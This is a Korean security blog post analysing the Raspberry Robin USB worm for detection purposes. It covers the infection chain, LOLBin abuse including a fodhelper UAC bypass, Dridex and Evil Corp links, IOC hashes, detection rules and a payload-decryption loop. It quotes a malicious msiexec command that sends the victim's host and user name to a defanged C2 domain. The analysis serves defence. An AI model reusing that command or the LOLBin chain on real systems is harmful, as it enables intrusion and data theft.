라즈베리 로빈(Raspberry Robin)은 직원들 사이에 공유되는 USB까지 감염시키며 빠른 속도로 피해자의 내부 네트워크를 침투하는 기능을 가진 악성코드입니다. 사회 공학 기법으로 피해자를 속여 감염된 USB 드라이브를 사용하도록 유도합니다.
IBM Security에 따르면 2022년 여름 한 철 동안 USB 기반의 웜으로 인한 감염이 제조업, 테크놀로지 산업, 에너지 산업, 운송업 내 산업체 등의 분야에서 17% 증가했다고 밝혀졌습니다. 이에 덧붙여 라즈베리 로빈 악성코드가 러시아 해커 집단 이블 코프(Evil Corp)와 연관되어 있을 것이라는 주장이 제기되었습니다. 다른 악성코드의 로더 역할을 하는 라즈베리 로빈이 드리덱스(Dridex) 악성코드 로더와 구조 및 기능적으로 상당한 유사성을 띠고 있다는 것이 확인되었기 때문입니다.
라즈베리 로빈 감염 과정에서 단계별로 탐지할 수 있는 방법 및 관점에 대해서 살펴보겠습니다.
QNAP 웜이라고도 불리는 라즈베리 로빈은 보통 악성 바로 가기(LNK) 파일이 포함된 이동식 드라이브(보통 USB 장치)를 통해 전파됩니다. 감염된 드라이브가 시스템에 연결되면 UserAssis 레지스트리가 업데이트되고, lnk 파일을 참조하여 실행되는 ROT13 암호화 값을 기록합니다.
라즈베리 로빈은 cmd.exe를 사용하여 감염된 외장 드라이브에 저장된 파일을 읽고 실행합니다. 해당 파일 이름은 5~7자리의 임의의 영숫자와 .usb, .ico, .lnk, .bin, .sv 및 .lo 등의 다양한 파일 확장자로 구성됩니다. 파일 내용을 표시하는 기본 제공 명령어인 type이 포함되는 경우도 있습니다.
다음으로 cmd.exe는 explorer.exe와 msiexec.exe를 호출합니다.
explorer.exe의 명령어에는 호스트명이나 LNK 파일의 이름과 같이 외부 장치에 대한 참조가 포함될 수 있습니다. 공격자들은 탐지 회피를 위해 대소문자 혼합 구문을 사용합니다.
사용자가 LNK 파일을 클릭하면, 정상 윈도우 시스템 내장 도구인 msiexec.exe가 공식 설치 프로그램 패키지를 다운로드 및 실행합니다. 감염되면 역방향 프록시 역할을 하는 것으로 보이며, 이 과정에서 라즈베리 로빈은 악성 C&C 도메인에서 외부 네트워크와의 통신을 시도합니다. C&C 도메인의 특징은 아래와 같습니다.
- 탐지 회피 목적으로 대소문자가 혼합된 문자로 구성 - vo[.]cx와 같이 짧은 문자의 도메인 - 최근에 등록된 C2 도메인 사용 |
탐지된 도메인은 라즈베리 로빈이 활성화된 시간에 로그인 페이지를 제공하는 감염된 QNAP NAS 장치를 호스팅 했습니다. IBM Security에서 확인한 msiexec 명령어는 피해자의 호스트명과 사용자명을 포함하여 비표준 HTTP 웹 서비스 포트 8080을 통해 연결합니다.
Command Line: msieXeC /q /I "S8[.]Cx:8080/random string/coMpUTErname=USER" |
[표 1] 악성 라즈베리 로빈 msiexec.exe 명령어 예시
따라서, 라즈베리 로빈이 C2 서버와 연결 시도를 하는 단계에서 윈도우 설치 도구인 msiexec.exe를 사용한 명령어와 다운로드하는 URL, 실행되는 패키지 등을 살펴봐야 합니다. 이를 통해 악성 아웃바운드 네트워크 연결이 있었는지 탐지하고 감염 여부를 확인할 수 있습니다.
# 탐지법 : msiexec.exe를 사용한 다운로드 및 패키지 실행 흔적 확인 process == ('msiexec') && process_command_line_includes == ('http:', 'https:') && process_command_line_includes == ('/q', '-q') |
라즈베리 로빈이 msiexec.exe를 통해 악성 DLL을 설치하여 어떠한 추가적인 행위를 하는지는 현재로서 명확히 확인되지 않았으나, Red Canary에 따르면 피해자의 시스템에서 지속성을 유지하기 위한 행위를 할 것이라 추측하고 있습니다. 탐지된 악성 파일은 “C:\Windows\Installer\MSI****.tmp” 파일로 생성됐습니다. oNameMD5 (VT
No | Name | MD5 (VT) | |
1 | C:\Windows\Installer\MSI5C01.tmp C:\Users\username\AppData\Local\Temp\bznwi.ku |
6f5ea8383bc3bd07668a7d24fe9b0828 | |
2 | C:\Windows\Installer\MSIE160.tmp | e8f0d33109448f877a0e532b1a27131a |
[표 2] 탐지된 악성파일 예시
msiexec.exe는 라즈베리 로빈 로더 DLL을 다운로드한 뒤, rundll32.exe, fodhelper.exe, regsvr32.exe, dllhost.exe 및 odbcconf.exe와 같은 LOLBin(living-off-the-land binaries)으로 알려진 다른 정상 윈도우 시스템 유틸리티 및 도구를 활용하여 로드 및 실행합니다.
1) fodhelper.exe
msiexec.exe는 fodhelper.exe를 실행하여 rundll32.exe를 생성하고, 악성 명령어를 실행합니다. 이를 통해 실행된 프로세스는 사용자 계정 컨트롤 프롬프트 없이 상승된 관리자 권한으로 실행됩니다.
#탐지법 : fodhelper.exe를 통해 상승된 권한으로 프로세스가 사용되는 것을 확인 parent_process == ('fodhelper') |
2) rundll32.exe
odbcconf.exe와 같은 정상 윈도우 내장 도구를 시작하고, 설치된 악성 DLL bznwi.ku(해시값: 6f5ea8383bc3bd07668a7d24fe9b0828)를 실행하기 위해 추가 명령어를 전달합니다.
3) odbcconf.exe
odbcconf.exe의 -A 옵션은 작업을 특정합니다. configdriver는 드라이버 설정 DLL을 로드하는데, [그림 4]에서는 VKIPDSE를 가리킵니다.
SETFILEDSNDIR은 아래의 레지스트리 경로가 없는 경우 새로 만들고, 파일 기반 데이터 원본을 만들 때 ODBC 데이터 원본 관리자가 사용하는 기본 위치를 지정합니다.
HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\ODBC File DSN\DefaultDSNDir |
INSTALLDRIVER는 드라이버에 대한 정보를 추가합니다.
odbcconf.exe는 regsvr32.exe와 유사한 내장 regsvr 옵션을 사용합니다. 이는 공격자가 DLL을 실행하고 탐지를 우회할 수 있습니다. 또한, 자동 모드에서 rgsvr 작업을 실행하는 odbcconf.exe는 악성 행위를 하고 있다는 것을 의미합니다. 따라서, odbcconf.exe가 구성 파일 또는 DLL을 로드하는 것과 자동 모드로 실행되는 것을 탐지해야 합니다.
#탐지법 : odbcconf.exe의 DLL 로드 과정 탐지 process == ('odbcconf') && process_command_line_includes == ('regsvr) && process_command_line_includes == ('/f', '-f') || process_command_line_includes == ('/a', '-a') || process_command_line_includes == ('/s', '-s') # /A 옵션 : 작업 지정 # /F 옵션 : 응답 파일 사용 # /S 옵션 : 자동 모드에서 실행 |
4) C2
regsvr32.exe, rundll32.exe 및 dllhost.exe가 매개변수 없이 실행되고, 외부 네트워크 연결을 설정하는 것이 본질적으로 악의적인 행위는 아니지만, 지속적으로 모니터링하는 것이 좋습니다.
#탐지법 : 매개변수 없이 명령어에서 네트워크 연결 #명령어 내의 큰따옴표(“”)는 null을 의미 process == ('regsvr32') || process == ('rundll32') || process == ('dllhost') && process_command_line_contains == (“”) && has_netconnection |
기존에 관찰된 수백만 건의 라즈베리 로빈 웜은 처음 감염된 시스템에서 오랜 기간 동안 활동하지 않았습니다. 단순히 최대 절전 모드로 전환되고, 익스플로잇을 위한 2단계 페이로드 역시 확인되지 않았습니다.
그러나 최근 IBM과 Microsoft 연구원은 라즈베리 로빈 감염 과정에서 FakeUpdates 악성코드가 다운로드되기 시작한 것을 확인했습니다. SocGhoulish로도 알려진 FakeUpdates는 이블 코프가 랜섬웨어를 활용하기 전 초기에 사용하는 악성코드 중 하나입니다. 일반 소프트웨어의 정상 업데이트처럼 보이지만, 코발트 스트라이크(Cobalt Strike) 및 미미카츠(Mimikatz) 등의 다른 공격 도구나 랜섬웨어를 피해자 시스템에 설치합니다.
Microsoft는 FakeUpdates가 한 접근 브로커(DEV-0206)가 사용하는 도구라고 파악한 바 있습니다. 이는 DEV-0243(이블 코프)와 DEV-0206 간의 파트너십이 체결되었을 가능성을 시사합니다.
IBM Security 연구원들은 라즈베리 로빈 감염 과정에서 사용되는 두 개의 DLL을 리버스 엔지니어링 하여 드리덱스 악성코드 로더와 비교했습니다. 그 결과, 32비트 라즈베리 로빈 로더와 64비트 드리덱스 로더에 대하여 기능 및 구조의 연관성을 발견했습니다.
Name | File Hashes | ||
Raspberry Robin Loader variant 1 | 1a5fcb209b5af4c620453a70653263109716f277150f0d389810df85ec0beac1 | ||
Dridex Loader | b30b76585ea225bdf8b4c6eedf4e6e99aff0cf8aac7cdf6fb1fa58b8bde68ab3 |
[표 3] 라즈베리 로빈 및 드리덱스 로더의 샘플 파일 해시값
중간 로더는 최종 페이로드의 복호화와 실행을 담당합니다. 라즈베리 로빈과 드리덱스의 로더는 중간 로더를 유사한 방식으로 최종 페이로드를 복호화하고, LdrLoadDll() 함수에서 후크 감지를 수행하는 분석 방지 코드를 포함하고 있습니다. 이를 통해 악성코드는 바이러스 백신 소프트웨어에서 프로세스를 모니터링하는지 확인할 수 있습니다.
또한, 문자열 디코딩 알고리즘은 인코딩된 바이트에서 키 바이트를 뺀다는 점이 유사합니다.
PE 데이터 섹션에 임의의 문자열을 사용하는 공통점이 있습니다.
[표 3]의 샘플 파일에는 주요 문자열을 복호화하는 유사한 인라인 반복문이 포함되어 있습니다.
[그림 7]의 반복문을 포함하는 함수의 끝에서 RC4 복호화 함수가 호출됩니다. 이후 암호화된 페이로드 오프셋 및 크기 등의 값이 [그림 8]와 같은 구조체에 할당됩니다.
컴포넌트의 PE 헤더는 메모리에 부적합한 형식으로 복호화 됩니다. 따라서, 악성코드는 헤더에 “MZ(0x4D5A)” 바이트를 추가하여 적절한 헤더를 갖도록 컴포넌트를 수정합니다.
최종 페이로드는 아래의 Python 코드로 표현되는 알고리즘을 사용하여 복호화 됩니다.
decrypted_payload = bytearray(payload) index = 0 size = len(payload) while index != 254: payload_idx = lookup_table[index*4] while True: if payload_idx >= size: break key_idx = payload_idx & 0x1F key_byte = key[key_idx] decrypted_byte = (payload[payload_idx] - key_byte) & 0xFF decrypted_payload[payload_idx] = decrypted_byte payload_idx += 0xFF index += 1 |
라즈베리 로빈 감염 과정은 사용자가 감염된 USB 장치를 컴퓨터에 연결하는 것을 유도하는 사회 공학 기법으로 시작한다는 점에 유의해야 합니다.
(1) 보안 인식 교육 (2) 사용자 환경에서 IOC 검색 (3) EDR 모니터링 솔루션 설치 및 배포 (4) EDR 솔루션을 활용하여 USB 장치 연결 비활성화 및 모니터링 (5) 윈도우 운영체제 설정에서 자동 실행 기능 비활성화 |
Tactic | Technique | Description | |
Initial Access | T1091 Replication Through Removable Media |
- 감염된 이동식 드라이브를 통한 전파 - USB 디바이스에서 정상 폴더로 가장한 바로가기(lnk) 파일 |
|
Initial Access | - | - explorer.exe를 통한 호스트명, 디바이스, 이름 등의 참조가 포함된 명령어 | |
Execution | T1059.003 Command and Scripting Interpreter (Windows Command Shell) |
- “cmd/R <” 사용 - 랜덤한 숫자 및 문자의 파일 읽고 실행 |
|
Defense Evasion |
- | - 방어 회피를 위한 대소문자 혼합 사용 | |
Defense Evasion |
T1218.008 Signed Binary Proxy Execution: Rundll32 T1218.008 Signed Binary Proxy Execution: Odbcconf |
- fodhelper.exe, odbcconf.exe 등의 공식적인 윈도우 내장 도구 사용 - rundll32.exe로 DLL 파일 실행 |
|
C2 | T1218.007 Signed Binary Proxy Execution: Msiexec T1071.001 Application Layer Protocol: Web Protocols |
- msiexec.exe : 피해자의 호스트명, 사용자명을 포함한 URL에 아웃바운드 연결 | |
C2 | - | - 최근 등록된 C2 도메인 - 문자 수가 적은 최상위 도메인 - C2 인프라로 사용될 가능성 있음 |
|
C2 | - | - 감염된 QNAP NAS 디바이스에 연결된 인프라 사용 | |
C2 | T1218.008 Signed Binary Proxy Execution: Rundll32 T1218.008 Signed Binary Proxy Execution: Regsvr32 |
- rundll32.exe 및 regsvr32.exe : C2 통신에 사용 |
Name | File Hashes | ||
Raspberry Robin Loader variant 1 | c0a13af59e578b77e82fe0bc87301f93fc2ccf0adce450087121cb32f218092c | ||
Raspberry Robin Loader Variant 2 | 1a5fcb209b5af4c620453a70653263109716f277150f0d389810df85ec0beac1 | ||
Dridex Loader | b30b76585ea225bdf8b4c6eedf4e6e99aff0cf8aac7cdf6fb1fa58b8bde68ab3 |
https://thehackernews.com/2022/09/new-evidence-links-raspberry-robin.html
https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/
https://redcanary.com/blog/raspberry-robin/
https://github.com/telekom-security/malware_analysis/tree/main/raspberry_robin (IOCs)
보안관제센터 MIR Team
AWS re:Invent 2022, 보안 데이터를 위한 Amazon Security Lake 공개 (0) | 2022.12.01 |
---|---|
Yanluowang 랜섬웨어 그룹, 소스코드와 내부 채팅 메시지 유출돼 (0) | 2022.11.01 |
탐지 회피를 위해 다운로드 후 한 달 뒤 설치되는 크립토 마이너 악성 프로그램 (0) | 2022.08.30 |
Yanluowang 랜섬웨어 조직에 의해 해킹된 시스코, 2.8GB 도난 (0) | 2022.08.11 |
대규모 해킹 공격으로 9,000개 이상의 솔라나(solana) 지갑 탈취돼 (0) | 2022.08.04 |
댓글 영역